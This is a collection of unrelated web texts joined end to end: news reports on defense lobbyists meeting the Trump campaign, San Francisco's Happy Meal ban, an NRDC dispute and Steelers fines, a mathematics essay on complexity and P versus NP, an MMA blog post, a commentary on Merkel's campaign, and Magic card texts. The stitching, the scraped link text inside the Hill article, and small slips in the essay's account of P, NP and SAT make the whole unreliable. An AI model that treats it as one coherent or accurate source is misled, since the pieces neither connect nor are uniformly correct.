Trump’s campaign did not respond to a request for comment.
Thursday’s meeting is also straight out of a Bernie Sanders supporters worst nightmare. Sanders, of course, has run a campaign opposed to the “millionaires and billionaires” that he believes have far too great a role in American democracy—and as such Trump’s outreach to lobbyists runs contrary to Trump’s outreach to the Vermont senator’s supporters.
“To all of those Bernie Sanders voters who have been left out in the cold by a rigged system of superdelegates, we welcome you with open arms,” Trump said Tuesday, as Hillary Clinton clinched the Democratic nomination.
The Aerospace Industries Association will lead the pitch on national security issues: founded nearly 100 years ago, the AIA represents many of the major aerospace and defense firms in the United States.
The association has been an outspoken opponent of defense spending cuts.
“Most members of the industry have decided that AIA was the most appropriate group to go do the briefing,” a defense industry source told The Daily Beast. The AIA declined to comment for this story.
Joining the delegation will be representatives of some of the country’s most influential defense contractors, including Boeing, Lockheed Martin, and Raytheon.
“We were asked to participate and we will have a representative there,” said Gordon Johndroe, a spokesman for Boeing. “We interact with campaigns of both parties up and down the ballot to provide them our views on issues that impact our business and employees.”
Other large defense firms declined to comment on their participation—while some on condition of anonymity said that their organization chose not to directly participate, despite an invitation to do so.
There was some significant hesitancy among some defense firms to get involved—they didn’t want to signal any endorsement of Trump’s candidacy, but are positioning themselves to maintain influence should he beat Hillary Clinton for the presidency.
Their timidity is accentuated by how controversial Trump’s candidacy has been lately—most recently due to his racist remarks about an Indiana-born judge of Mexican ethnic heritage—but money transcends politics.
—with additional reporting by Olivia Nuzzi. |
(CNN) -- The San Francisco, California, Board of Supervisors banned most McDonald's Happy Meals with toys Tuesday. Despite objections and ridicule from opponents, the vote overrode the mayor's veto and officially approved the ban.
The new ordinance, which requires Happy Meals and other fast food with toys to meet new nutritional standards or else be removed from menus, goes into effect December 1, 2011.
The law is the first of its kind for a major American city, and San Francisco officials said they hope other cities would follow. The ordinance seeks to battle a child obesity epidemic by forcing fast-food chains to make any meal with a toy more nutritious for kids.
McDonald's and the restaurant industry contended the government regulation was unwanted by parents. Supporters of the measure, however, said the use of free toys, often tied to characters or themes in new movies, pandered to kids, to get them to buy meals high in fat and calories.
If restaurants want to offer toys as incentives, the meals must meet new nutrition standards, officials said.
Under the new regulations, food and beverages must contain fewer than 600 calories, and less than 35 percent of the total calories would be allowed to come from fat. The meal must contain half a cup of fruit and three-fourths a cup of vegetables, and offer less than 640 milligrams of sodium and less than 0.5 milligrams of trans fat. Breakfast will have the option of offering half cups of fruit or vegetables.
Mayor Gavin Newsom vetoed the "healthy meal ordinance," but the Board of Supervisors had enough votes -- 8 out of 11 --to override that veto Tuesday, as expected.
"From the Institutes of Medicine to the World Health Organization, we know that reducing the consumption of junk food by kids could spare the health of millions and save billions of dollars to our overstrapped public health system," said Supervisor Eric Mar, sponsor of the legislation.
"That's why pediatricians, educators, parents, community health advocates, and thousands of individuals lined up to support this ordinance," Mar added.
When he vetoed the measure, Newsom said, "Parents, not politicians, should decide what their children eat, especially when it comes to spending their own money."
"Despite its good intentions, I cannot support this unwise and unprecedented governmental intrusion into parental responsibilities and private choices." |
In honor of Mathematics Awareness Month I will take an idiosyncratic look at mathematical aspects of complexity, in particular some history of mathematical approaches and insights into this subject...
Joseph Malkevitch
York College (CUNY)
malkevitch at york.cuny.edu
Are tax forms complex? Is the world wide system of selling stocks a complex one? What about the Mandelbrot set?
Figure 1 (Mandelbrot set - Courtesy of Wikipedia)
What is a complex system? How can we measure complexity? Is complexity "good" or "bad?"
One of the features of mathematics is that it likes to streamline the insights that it has obtained and present its ideas in an organized and transparent manner, often starting from first principles. Yet many people do not see mathematics as a sleek or simple subject. They see it as a very complex subject.
Every year, to try to put in perspective the important contributions mathematics makes to America, we celebrate Mathematics Awareness Month. This year the theme for Mathematics Awareness Month is Unraveling Complex Systems. One particular aspect of complex systems that mathematics has helped illuminate is the way a system which has many parts organizes so that it often shows regularities that evolve over time. An example of this is when one sees a flock of birds take off and soon after they are airborne, one sees an organized pattern rather than the pandemonium of the flock taking to the air. Another example of this genre is the phenomenon of fireflies "blinking" in unison. Sometimes things which are disorderly assemble themselves into an orderly array, but sometimes the opposite occurs. Sometimes things we are used to working in concert, such as an electrical network or communications system (cell phone network), go into disarray. This can occur because of the failure of some critical backbone to a complex system which, when it fails, causes smaller subunits of the system to go down and eventually can bring the whole system to a halt.
In honor of Mathematics Awareness Month I will take an idiosyncratic look at mathematical aspects of complexity, in particular some history of mathematical approaches and insights into this subject.
History
As the importance of a topic matures it is often useful to look back and see the roots of the subject and how it evolved with time. It is not an accident that deterministic systems were studied before stochastic ones. For systems that have a mixture of deterministic and chance elements, it is common to take on the deterministic parts first. One source of complexity is that chance events are are harder to sort out. Or so it seemed until relatively recently - more of this in a bit. Thus, algebra and geometry were developed in many sophisticated directions (in Egypt, China, Babylonia, India, etc.) before a systematic approach to probability theory started to emerge in the 17th century in the work of Pascal and Fermat. Another early pioneer in the complexities that chance events cause in the understanding of our work was Thomas Bayes.
Figure 2 (Reverend Thomas Bayes)
Whereas until relatively recently a frequentist-based approach to making decisions was the norm, more and more discussions are being made of the use of ideas implicit in Bayes work for making decisions and reaching conclusions. For example, suppose one wants to argue that a certain die, which looks very symmetrically manufactured, is a fair die. One might roll this die 60 times and record the relative frequency of one dot, two dots, ..., six dots. However, it not very likely that each number of spots will occur equally often. If 6 occurs slightly more often than the other numbers of spots, does this mean a slight bias towards 6 appearing? A Bayesian approach might use the "data" from the 60 tosses as input for further work to try to give an answer to the question as to whether or not the die is fair.
It would seem that systems that involve randomness would raise "complexity issues" beyond those of deterministic systems, so it was a big surprise when it emerged that deterministic systems could show behavior of such complexity that had not been dreamed of! This type of behavior has now come to be called "chaotic" behavior to distinguish it from systems that are subject to "genuine" randomness. The discovery of deterministic chaotic systems motivated a renewed interest into how to tell if a system was truly random, and how to design systems that looked as if they were random but were "pseudo-random."
In retrospect there were a variety of examples of deterministic "chaos" in the work of Poincaré before the more recent work put chaos "on the map." Relatively recent contributions were made by Robert May, James Yorke (who coined the use of the word "chaos" to describe complex deterministic behavior), Mitchell Feigenbaum and others. May called attention to the complexities of ecological systems. A hallmark of this period was the complex behavior associated with the logistic map.
Figure 3 (Bifurcations of the logistic map - courtesy of Wikipedia)
This involves the iteration of computing from a given input x, the value r(x)(1-x) (where r is a fixed constant) as an "output" and then using this output value to compute r(x)(1-x) again. The fact that a quadratic equation could show this level of complexity was quite a surprise. It was Robert May (now Lord May of Oxford) who in 1978 first called attention to the complexities of this map in a variety of simple models motivated by questions in biology.
Figure 4 (Lord May, Courtesy of Wikipedia)
The mathematician and meteorologist Edward Lorenz had in essence called attention to a similar phenomenon in what is seen in difference equations for differential equations. It was Lorenz who coined the term "butterfly effect." This notion suggests that something as minute as a butterfly's flapping its wings can be responsible for much more dramatic effects separated from the original action in time and space. In the area of chaos people also speak of sensitive dependence on initial conditions. For example, if one runs a simulation of a system (based on a differential equation or difference equation), one needs to have initial conditions to indicate the starting state for the system. The difference equation then can be used to see what the future state of the system would be. It had been thought that a small difference in the starting conditions for running the simulation would lead to similar long term outcomes. This turned out not to be true. Two simulations that differed in the initial conditions that varied in the 10th decimal place might have nothing to do with each other after a very small number of time steps! Lorenz noted this phenomenon in the context of weather predictions.
Computers and complexity
One of the major tools people use to deal with complex systems are computers. It is often difficult to understand the relation of computer systems to humans these days because humans have come to depend so much on complex systems that can be run only by computers. For example, trades are now routinely carried out on stock markets much more quickly than could be done by humans without computer systems. Historically people have taken comfort in the fact that computers do impressive things because of their speed but that they don't seem capable of feats that seem to involve "thinking" or "creativity." Traditional examples of seemingly unique human skills are playing checkers, playing chess, and other "games" that seem to require thinking and intelligence. First, a checkers-playing program was developed which played checkers better than any human opponent. IBM developed a computer system known as Deep Blue which beat Gary Kasparov in a well-publicized match. Although Deep Blue was "retired," modern chess playing programs are amazingly good.
To deal with hard and technical problems humans have turned to machines - computers - to help them. While such computing machines have a long history, it was only in the 20th century that dramatic progress was made. Two major figures in this work were John Von Neumann and Alan Turing.
Figure 5 (Photo of John Von Neumann)
Von Neumann was a pioneer in developing the theory and implementation of early stored program digital computers. Turing's interest in computers was spurred by his World War II efforts to use computers to help break German codes.
Figure 6 (Photo of Alan Turing)
Turing, one of the pioneers of computer science and the complexity questions that became a part of computer science, invented a simplified "conceptual" computer now known as the Turing machine. The Turing machine is a conceptual device which marks symbols on an infinite tape which can be advanced in either direction from the cell that is currently being "looked at" by a "head" or reader. Turing was able to show that any problem that could be solved on a "standard" computer could also be solved on a Turing machine. Thus, this "standardized" device enabled one to talk about complexity without talking about the hardware of an actual machine. A supercomputer can solve problems more quickly than a Turing machine when they can be solved, but it cannot solve any problem that a Turing machine cannot solve!
The Turing machine can be used to investigate which problems a computer could solve and which are too hard/complex for computers. This is a curious turn of phrase because it is not customary to frame discussions of computers with what they cannot do! However, it has been shown using human ingenuity that there are indeed such problems. One of the best known of such problems is the halting problem. Turing showed that the halting problem could not be answered by a computer in 1937, though the name "halting problem" is due to the mathematician and computer scientist Martin Davis. The result asks for an algorithm which, when given to a Turing machine, will answer yes or no to this question: Will a given program terminate in a finite amount of time? It turns out there is no such algorithm. Such questions are known as algorithmically undecidable. Questions such as this are related to the fundamental questions about "decidability" in mathematical systems that Kurt Gödel studied.
Complexity classes
In discussing the complexity of different kinds of problems, the problems involved can be placed into different categories. Even for experts who are trying to stay abreast of developments in this rapidly emerging field, there is a complex alphabet soup of classes and types of problems considered. Here I will try merely to address some issues related to the best known of these classes and ideas. Among the kinds of questions that are considered are decision problems (ones that have a "yes" or "no" answer) and optimality problems (problems where one is seeking a "best" solution with respect to some objective function). When talking about complexity it is common to use the phrase "instance" of a problem to refer to a particular case of the problem involved. For example, if one's problem is to sort a list of n integers from smallest to largest, an instance of size 6 would be to sort the six numbers 5, 9, 23, 3, 1, 100 and an instance of size 10 would be to sort 1, 5, 2, 7, 90, 30, 200, 38, 2, 11. One might talk about the problem of factoring integers with n digits and an instance of this problem for n = 8 would be to factor 81,123,121.
The complexity class P consists of problems which can be solved in terms of a natural parameter of the problem n in a polynomial (in terms of n) amount of time (work) . For example, for a list of n positive integers one can ask how long it will take to sort these numbers into a list from smallest to largest. Sorting positive integers is an example of a problem in P, since there are known algorithms which accomplish this in polynomial time. We are not considering which is the best polynomial time algorithm, only whether there is a polynomial time algorithm or not. Clearly, it is of interest for a particular kind of problem like sorting to know "optimal" algorithms. However, in many cases it is valuable merely to know that there is a polynomial upper bound for the effort needed in solving a problem.
The complexity class NP (non-deterministic polynomial) refers to problems where it is possible to check that a proposed answer to an instance of such a problem can be solved in polynomial time. For example, consider the number 81,123,121. While this number may be "hard" to factor, if someone gives a proposed factorization (29 x 83 x 33703) it is quite speedy to check that is indeed a correct factorization. NP is the complexity class of problems for which one can check answers to instances of a problem in a polynomial time amount of work in terms of the size of an instance of the problem. The question of the complexity of factoring is of particular interest because there are cryptological systems whose security depends on the fact that factoring some large integers into primes seems to take a lot of computer time. Currently, it is not known if factoring can be done in polynomial time. Until relatively recently it was not known if one could check if an integer was a prime in polynomial time, but this was done in 2002. However, the algorithm which showed that prime testing was in P is not as practical as other algorithms for checking if a specific number is prime. There are still important natural questions (factoring, graph isomorphism) whose complexity is not fully understood.
When discussing the complexity of instances of a problem, some instances of the problem may be much easier to solve than others. This leads to the distinction between worst-case complexity questions versus average-case complexity. There may be some situations where there are very hard instances of the problem but on average the situation may be much better. For example, there are linear programming problems which require an exponential amount of "work" to solve using a particular algorithm, although "typical" linear programming instances may be answerable using the algorithm rather quickly. As complexity theory has developed, results about the worst-case behavior of problems has typically come earlier than results about the average-case complexity of the same problems. Because some problems come up in applications a lot, there are also issues about finding approximate answers which are "good enough" quickly.
What is your intuition? Are the classes of problem P and NP the same or different? What is being asked is are there problems which belong to P but not to NP? Are there problems which are in NP but not in P? Many people find it easy to imagine that there are problems which are easy to check if one has a proper answer but for which finding an answer might not be easy to do. However, rather astonishingly, we don't know if P = NP or not. This problem is of sufficient importance that it is viewed by many as the most important unsolved problem in computer science and mathematics. The Clay Foundation has offered a million dollar prize for the resolution of this problem.
However, there is a bit more to the issue of P versus NP. Within the class NP there is a class of problems which are called NP-complete. NP-complete problems are problems which have the property that if any one of them could be shown to be in P, then all of them would also be shown to be in P. Thus, from the viewpoint of how hard NP-complete problems are, they are all alike. Either all of them can be solved in polynomial time or they all require exponential time algorithms to solve. Again, if one NP-complete problem could be shown (proved) to require an exponential amount of effort in terms of n, the problem-size parameter, then all of them would require this effort as well. Another term one sometimes sees is NP-hard. NP-hard problems are those that are sometimes informally described as being at least as hard as any problems in NP. What happens if it should turn out that P ≠ NP? In this case the NP-hard problems cannot be solved in polynomial time. Should it be the case that P = NP, the question as to whether or not NP-hard problems can be solved in polynomial time would still be unresolved. Note that despite the appearance of NP in the NP-hard term, there are NP-hard problems that are not in NP. This is a sad artifact of the terminology as it evolved and unfortunately the clock cannot be turned back. In retrospect, a less arcane collection of definitions could have been selected here. When new ideas emerge very rapidly, sometimes terminology doesn't get set optimally. It is a result of Richard Ladner (1975) that there are circumstances where there are problems which are outside the NP-complete problems and the P problems which are in NP. Thus, should it be shown that P and NP are not the same, there would be problems which are neither in P nor are NP-complete. These problems, to add to your list of terminology, are sometimes called NP-intermediate. The example Ladner found is not considered a "natural" question, however. Investigators are still looking for natural examples, that is, one's that come up in mathematical practice.
Here is another intriguing aspect of complexity within computer science and mathematics related to proofs and algorithms. There is a tendency for proofs of mathematical theorems to get more streamlined after a first proof has been found. There seems to be a psychological hurdle such that after a theorem is shown to be true, especially for "important theorems," shorter and more insightful proofs often are found. However, for algorithms for particular problems it is often the other way around. Algorithms sometimes get more complex in attempts to find an algorithm which answers a question "faster." Thus, there may be a conceptually straightforward quadratic-time algorithm for a problem, while one might need to have much more sophisticated ideas (and sometimes data structures) come into play to find an algorithm which improves over quadratic time. Thus, there are algorithms which will sort integers that are quadratic algorithms. These algorithms are not optimal, however, even if they are quite easy to understand. For sorting numbers it is fairly well understood how many different approaches to sorting perform in the worst case and, on average, and they will do better than quadratic complexity. The optimal speed for the solution of particular classes of problems is often extremely difficult to find. For example, an initial algorithm for a problem may be designed to attack all comers - all types of instances within the problem that is under investigation. However, one might be able to find a way to partition the instances of a problem so that different schemes are used to solve an instance within the different partition classes. Thus, one would have a specialized fast algorithm for each class, while no algorithm would run that quickly on any particular instance chosen without regard to the partition.
Evolving ideas
The part of mathematics and computer science concerned with complexity theory has had many major contributors. However, two individuals responsible for a major breakthrough were Stephen Cook and Leonid Levin.
Figure 7 Photo of Leonid Levin (Courtesy of Wikipedia)
Figure 8 Photo of Stephen Cook (Courtesy of Wikipedia)
It was Cook and Levin who pioneered (independently) the notion of NP-complete problems. Though their work was first done in different countries and in different languages and the details of the approaches they used were also different, they got to the same place. In what is now called the Cook-Levin Theorem, they showed that the problem known as SAT belongs to the complexity class now known as the NP-complete problems. A Boolean expression is one that can be built up from the logical connectives "and," "not" and "or." For example: (x and not y) or (z and not x) is a Boolean expression involving the three variables x, y and z. A Boolean expression becomes true or false when the variables in the expression are assigned the truth values true or false. SAT is the question: Given a Boolean expression, is it always true that there is a truth assignment to its variables so the whole expression is true? Cook and Levin showed that this problem was in NP and that for an instance of any other problem Q in NP, there was a polynomial time algorithm for a (deterministic) Turing machine which would transform this instance of Q to an instance of SAT. It followed that NP-complete problems are ones such that they can be transformed to each other using a polynomial time algorithm. If one of these problems was shown to be in P, then all of them would be in P. There still remains the major (million dollar!) question, already mentioned, as to whether or not P and NP are really the same class!
Many investigators fleshed out the ideas that Cook and Levin pioneered. In a surprisingly short amount of time there emerged many new astonishing ideas. In particular, Oded Goldreich, Shafi Goldwasser, Silvio Michali, and Avi Wigderson have done fascinating work. The have shown connections between complexity ideas and cryptography, zero-knowledge proofs, randomness and pseudo-randomness to name just a few of the exciting issues these researchers have explored. For their efforts they have won many important awards in computer science and mathematics. In particular, they have explored issues involving complexity classes where "randomness" plays a role. At the heart of these problems is the issue of whether algorithms that use randomness in an essential way (randomized or probabilistic algorithms) are more powerful than algorithms which are deterministic.
Figure 9 Photo of Oded Goldreich (Courtesy of Wikipedia)
Figure 10 Photo of Shafrira (Shafi) Goldwasser (Courtesy of Wikipedia)
Figure 11 Photo of Silvio Michali (Courtesy of Wikipedia)
Recent news
We all know from personal experience that computers have much more storage and are much faster than they were in even the relatively recent past. We are also rightly impressed with the success of researchers at IBM in designing a computer system, Watson, that successfully defeated the best human opponents at Jeopardy!. The nature of playing Jeopardy! requires knowing a tremendous amount of very diverse "facts" as well as the ability to interpret ordinary language often given in terms of puns.
Figure 12 The "avatar" for IBM's "Watson" (Courtesy of Wikipedia)
Interacting with natural language seems not to be on the radar of the computer systems we interact with on a daily basis, so the accomplishment of Watson is all the more impressive. What seems to have made Watson's accomplishment possible was a combination of hardware--processors that could do computations with incredible speed and memory units to store tremendous amounts of data--put together with ideas from machine learning and artificial intelligence (AI). Watson was programmed so that the more it played Jeopardy!, the better it got. This is the goal of researchers in machine learning, an area which overlaps with artificial intelligence. It has been hard to define artificial intelligence but loosely speaking the idea is to get computers to do things which seem to display "intelligence/creativity."
Not long after Watson won its competition against human opponents on Jeopardy!, Leslie Valiant won the prestigious Turing Award from the ACM (Association for Computing Machinery) for 2011. The citation mentions his many contributions to complexity theory and machine learning.
Figure 13 Photo of Leslie Valiant (Courtesy of Wikipedia)
Mathematics and computer science will continue to look at the issue of complexity in attempts to sort out not only the relative difficulty of solving various problems, but using insights into complexity to understand our world better. April will be a good month to ponder all of these exciting issues!
References
Alligood, K., and T. Sauer, J. Yorke, Chaos: An introduction to dynamical systems, Springer-Verlag. New York, 1997.
Arrow, H., and J. McGrath, J. Berdahl, . Small groups as complex systems: Formation, coordination, development, and adaptation, Sage, Thousand Oaks, Ca., 2000.
Aurora, S., and B. Boak, Computational Geometry a Modern Approach, Cambridge U. Press, New York, 1999.
Bar-Yam, Y., Dynamics of Complex Systems.: Addison-Wesley, Reading, MA., 1997.
Cambel, A., Applied chaos theory: A paradigm for complexity, Academic Press, San Diego, 1993.
Cormen, T., Introduction to Algorithms, (Second Edition), MIT Press, Cambridge, 2001.
Flake, G., The Computational Beauty of Nature: Computer explorations of fractals, chaos, complex systems, and adaptation, MIT Press, Cambridge 1998.
Garey, M. and D. Johnson, Computers and Intractability, A Guide to NP-completeness, W.H. Freeman, 1979.
Gell-Mann, M., The quark and the jaguar: Adventures in the simple and the complex. W.H. Freeman, San Francisco:, 1994.
Goldreich, O., Computational Complexity: A Conceptual Perspective, Cambridge U. Press, New York, 2008.
Goldwasser, S. and Micali, S. Probabilistic Encryption. Special issue of Journal of Computer and Systems Sciences, 28 (1984) 270-299.
Gaston, G. and R. Baeza (eds.), Handbook of Algorithms and Data Structures, Addison Wesley, 1991.
Hubbard, J. and B. West, Differential Equations: A dynamical systems approach, Springer-Verlag, New York, 1991.
Lorenz, E.., The Essence of Chaos, University of Washington Press, Seattle, 1993.
Mainzer, K. . Thinking in Complexity: The Complex Dynamics of Matter, Mind, and Mankind. New York: Springer-Verlag., 1994.
Nicolis, G., and I. Prigogine, Exploring Complexity: An Introduction, W. H. Freeman., San Francisco, 1989.
Nielsen, M. and I. Chuang, Quantum Computation and Quantum Information, Cambridge U. Press, New York, 2000.
Papadimitriou, C., Computational Complexity, Addison Wesley, 1994.
Peak, D., and M. Frame, Chaos under control: The art and science of complexity, W. H. Freeman, New York, 1994.
Peitgen, H.-O., and H. Jurgens, D. Saupe, Chaos and Fractals: New Frontiers of Science. New York: Springer-Verlag, 1992.
Pickover, C. (Ed.), Fractal horizons: The Future Use of Fractals.: St. Martin's Press, New York, 1996.
Prigogine, I., The End of Certainty: Time, Chaos, and the New Laws of Nature, The Free Press, New York, 1996.
Prigogine, I., & Stengers. (1984). Order out of chaos: Man's new dialogue with nature. New York: Bantam.
Rasch, W., & Wolfe, C. (Eds.), Observing Complexity: Systems Theory and Postmodernity. University of Minnesota Press, Minneapolis, 2000.
Ruelle, D., Chance and Chaos, Princeton University Press, Princeton, 1993.
Sipser, M., Introduction to the Theory of Computation, PWS, Boston, 1997.
Smith, P., Explaining chaos, Cambridge University Press, New York, 1998.
Stewart, I., Does God play dice? The new mathematics of chaos (Second ed.), Blackwell, 2002.
Van Leeuwen, J. (ed.), Handbook of Theoretical Computer Science, Vol. A: Algorithms and Complexity, MIT Press, Cambridge, 1990.
Waldrop, M., Complexity: The emerging science at the edge of order and chaos, Simon and Schuster, New York, 1992.
Wolfram, S., A new kind of science, Wolfram Media Champaign, 2001.
Those who can access JSTOR can find some of the materials mentioned above there. For those with access, the American Mathematical Society's MathSciNet can be used to get additional bibliographic information and reviews of some of these materials. |
The Natural Resources Defense Council (NRDC) mocked congressional Republicans’ investigation of that group’s potential collusion with federal regulators Thursday.
In a post on NRDC’s blog, David Goldston, its top lobbyist, said he received a letter from Sen. David Vitter David Bruce VitterBottom Line Bottom Line Top 5 races to watch in 2019 MORE (R-La.) and Rep. Darrell Issa Darrell Edward IssaThe Hill's Morning Report — Shutdown fallout — economic distress Former congressmen, RNC members appointed to Trump administration roles Senate throws hundreds of Trump nominees into limbo MORE (R-Calif.) asking for all of the group’s communications with the Environmental Protection Agency (EPA) regarding its carbon pollution rule for power plants and the Pebble Mine in Alaska.
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“The more one reads the letter, the more it seems like self-parody, at best,” Goldston wrote. “At worst, it’s a transparent effort to silence anyone promoting policies with which the right wing disagrees.”
Vitter, the top Republican on the Environment and Public Works Committee, and Issa, chairman of the Oversight Committee, launched the investigation Tuesday into allegations of collusion between the group and the agency. It came after a July New York Times story saying NRDC wrote the framework for June’s major climate rule proposal.
Goldston argued in his blog post that the NRDC’s communications with the EPA were no different from other meetings and conversations the agency had with stakeholders and outside groups.
“NRDC’s climate experts developed a proposal, publicly released it, and then met with everyone we could about it — news media, utilities, EPA; you name it,” he said. “EPA took the proposal into consideration — it didn’t adopt it outright, and indeed NRDC will be publicly pushing for changes in what EPA proposed.
He questioned how the Republicans define collusion and “outsized influence,” because numerous other groups met with the EPA before it released the proposal.
But Goldston was also concerned about Republicans finding a problem with a group like NRDC influencing government policies.
“Those trying to influence public policy using the normal tools of government should not have to fear investigation from those who oppose their proposals,” he said.
The EPA has been similar defensive of its policies since the Times story was published.
Shortly after it ran, EPA head Gina McCarthy Regina (Gina) McCarthyOvernight Energy: Joshua Tree National Park lost M in fees due to shutdown | Dem senator, AGs back case against oil giants | Trump officials secretly shipped plutonium to Nevada Overnight Energy: Ethics panel clears Grijalva over settlement with staffer | DC aims to run on 100 percent clean energy by 2032 | Judges skeptical of challenge to Obama smog rule Judges skeptical of case against Obama smog rule MORE sent a memo to her staff mocking the Times.
“According to an article from Monday, you just cut and pasted a particular [non-governmental organization’s] proposal and called it a day,” she wrote. “If you're laughing right now, it's because you know just how preposterous that is.”
The EPA has also pointed to the hundreds of meetings it had with stakeholders, state and local officials and others before proposing the rule. |
With the UFC gaining acceptance in the mainstream with the Fox deal it signed a year ago, there are still some media types out there who haven't grasped the appeal of it. One of these media types is CBS college basketball basketball analyst Seth Davis, who had a pair of now deleted tweet during UFC 154 on Saturday night, calling the UFC "homoerotic"…
Oh bother. What exactly separates the UFC from boxing or wrestling to earn that kind of label? Perhaps Davis thinks the same of all combat sports? I'm not sure how twisting a joint off or smashing someone's face into rubble is homoerotic, but hey, more power to you. It's not as if CBS underwent a foray into MMA years ago, before the UFC even hinted at signing a deal with Fox… oh wait, they did, with both EliteXC and Strikeforce shows taking place on the network.
To his credit, Davis fessed up to the poor taste of the tweets after being called out by MMA journalist Ariel Helwani of MMAFighting.com.
I don't know what exactly would possess a member of the mainstream media to come out and call another sport homoerotic, but at least Davis realized he screwed up and is taking the backlash like a man. As much as this was in bad taste, it's yet another example of a hurdle the UFC has to clear in its race towards mainstream acceptance as a sport.
[The Big Lead] |
Flickr/Abode of Chaos. Some rights reserved.
There is a Chinese proverb: “May you live in interesting times.” And by God we Germans are. We get to decide who benefits from our prosperity and who simply gets a mini-job or a television to keep them occupied. We get to reclaim our privacy rights and understand the Neuland that is the Internet. We get to set up windmills and thousands of kilometres of energy grids to ensure our independence or to save polar bears from drowning. We can afford to empathise with the Greek shop-owner and make up for our harsh and misguided austerity policies.
Despite all of this, the German election campaign has been vague and terminally, terminally boring. This is no accident. Rather, it’s the tactical brilliance of Angela Merkel, who will win the 22 September election by default provided she ensures that visions and policy issues have no place in this campaign.
In her eight years as Chancellor, Ms. Merkel has created a political culture that leaves no room for criticism or political debate. She does this by presenting all major decisions as being involuntary acts of necessity. Whether she is creating Europe’s largest renewable energy market or signing guarantees on Greek debt, Ms. Merkel has depicted herself as a curator, not an agent.
Caught up in Merkel’s game
If it weren’t for Fukushima, we would still have nuclear energy. If it weren’t for the mistakes of the SPD, Greece would not be in the Eurozone, and she wouldn’t have to impose austerity on its people. Since she governs without personality or conviction, her choices are characterised as necessities and her mistakes are easily rebranded as systemic problems rather than failures of judgement. In summary, she is an anti-visionary and, in this respect, an anti-leader. Her electoral campaign leaves no room for policy choices about Germany’s future. If you accept her terms, there is no room for meaningful opposition either… and it is almost impossible for the leader of the opposition to portray himself as the “anti-Merkel”.
This doesn’t, of course, remove all blame from her opponent Peer Steinbrück. Nothing stood in the way of him swamping this campaign with personality, vision and a grand political alternative to the current state of affairs except his lack of personality, vision and a grand political alternative. Any great opposition leader with political convictions of his own, strategists and a desire to win might have caught up with Merkel’s game. But only a brave opposition can profit in such circumstances: the seats for the party that rises from the grave merely to scratch at the surface of the issues have already been reserved for Merkel’s liberal coalition partner, the FDP.
The real tragedy of this campaign is that it de-politicises the German people and robs the electorate of their democratic agency. Voters are not being given the opportunity to participate in a process that could bring about change and have been given no material by which to pass value judgements. Of course, as a voter, you have the right not to hold an opinion on political issues that do not concern you directly.
But this negative democratic freedom is one afforded to voters, not their leaders! The function of an election is the crystallization of issues – no matter how complex they may appear – into the policies and principles that underlie them, allowing voters to make value judgments on competing visions, and so to decide on their future.
No vision, No future
Whilst the next Chancellor, or let’s be honest, Ms. Merkel, inherits the good fortune of economic growth, making domestic affairs and social policies easier to deal with, the greatest and historic challenge lies in addressing the question of Europe. Germany’s approach is still grossly insufficient. Perhaps Ms Merkel would not have let the entire southern periphery into the Eurozone. Perhaps she would have never signed the Maastricht Treaty either or turned the EEC into the EU. Who knows? But it does not follow that she has no agency in any of the decisions she has made since then or that her actions have no political consequences. Equally feeble is the opposition leader’s grand counter-narrative: “Eurobonds! Eurobonds!” Whatever that means.
German voters are not being provided with enough information, or any vision of what the future might look like. This applies to every aspect of this election. Leaders that are willing to govern without the involvement of their people, leaders that have no time for debates or new ideas, have failed their electorate.
This article has previously been published by our partner The European. Thanks go to the editors for allowing us to republish it here. |
PITTSBURGH -- What in past years could have been hailed as the way to finish a run has instead taken a bite out of Jonathan Dwyer’s wallet.
Dwyer has been fined $21,000 for using the crown of his helmet in the Steelers’ 40-23 loss to the Chicago Bears last Sunday night. The fourth-year running back did not draw a penalty on the play but an NFL review of it resulted in a fine.
Wide receiver Antonio Brown, meanwhile, received separate fines totaling $15,750 for unnecessary roughness.
Brown was flagged for unnecessary roughness after grabbing a facemask during a punt return. He received the same penalty after making a tackle following a Ben Roethlisberger interception near the end of the game.
Brown said he plans to appeal the fines.
Dwyer’s fine is a result of a rule change enacted during the offseason. Players are no longer allowed to use the crown of their helmet to strike a blow against defensive players.
The rule change that is part of the NFL’s player-safety initiative has drawn its share of criticism.
One player-safety issue that cropped up with the Steelers this week won’t be investigated by the NFL.
Running back Isaac Redman told the Pittsburgh Post-Gazette that he played in the Steelers’ 20-10 loss at Cincinnati after sustaining a concussion on the opening kickoff. Redman said he lied to doctors so he could get back into the game.
The Steelers have refuted Redman’s claim and said they followed the mandated protocol when a player suffers a possible concussion before clearing Redman to return.
The NFL said it is satisfied with how the Steelers handled Redman’s injury though ESPN NFL analyst Louis Riddick wonders how Redman could have fooled doctors so easily.
Riddick, a former NFL safety, said it is not uncommon for players who have sustained a concussion to do everything they can to stay in a game.
But a league that is doing everything it can to minimize dangerous head hits has to also protect concussed players from themselves. |
Colorless Fireforger's Puzzleknot Artifact When Fireforger's Puzzleknot enters the battlefield, it deals 1 damage to target creature or player. {2}{R}, Sacrifice Fireforger's Puzzleknot: It deals 1 damage to target creature or player.
Dynavolt Tower Artifact Whenever you cast an instant or sorcery spell, you get {e}{e} (two energy counters). {T}, Pay {e}{e}{e}{e}{e}: Dynavolt Tower deals 3 damage to target creature or player.
Ballista Charger Artifact Whenever Ballista Charger attacks, it deals 1 damage to target creature or player. Crew 3 (Tap any number of creatures you control with total power 3 or more: This Vehicle becomes an artifact creature until end of turn.)
Skysovereign, Consul Flagship Artifact Flying. Whenever Skysovereign, Consul Flagship enters the battlefield or attacks, it deals 3 damage to target creature or planeswalker an opponent controls. Crew 3 (Tap any number of creatures you control with total power 3 or more: This Vehicle becomes an artifact creature until end of turn.)
White Impeccable Timing Instant Impeccable Timing deals 3 damage to target attacking or blocking creature.
Fairgrounds Warden Creature When Fairgrounds Warden enters the battlefield, exile target creature an opponent controls until Fairgrounds Warden leaves the battlefield.
Revoke Privileges Enchantment Enchant creature. Enchanted creature can't attack, block, or crew Vehicles.
Skywhaler's Shot Instant Destroy target creature with power 3 or greater. Scry 1.
Captured by the Consulate Enchantment Enchant creature you don't control. Enchanted creature can't attack. Whenever an opponent casts a spell, if it has a single target, change the target to enchanted creature if able.
Cataclysmic Gearhulk Artifact Creature Vigilance. When Cataclysmic Gearhulk enters the battlefield, each player chooses an artifact, a creature, an enchantment, and a planeswalker from among the nonland permanents he or she controls, then sacrifices the rest.
Fumigate Sorcery Destroy all creatures. You gain 1 life for each creature destroyed this way.
Blue Aether Meltdown Enchantment Flash (You may cast this spell any time you could cast an instant.) Enchant creature or Vehicle. When Aether Meltdown enters the battlefield, you get {e}{e} (two energy counters). Enchanted permanent gets -4/-0.
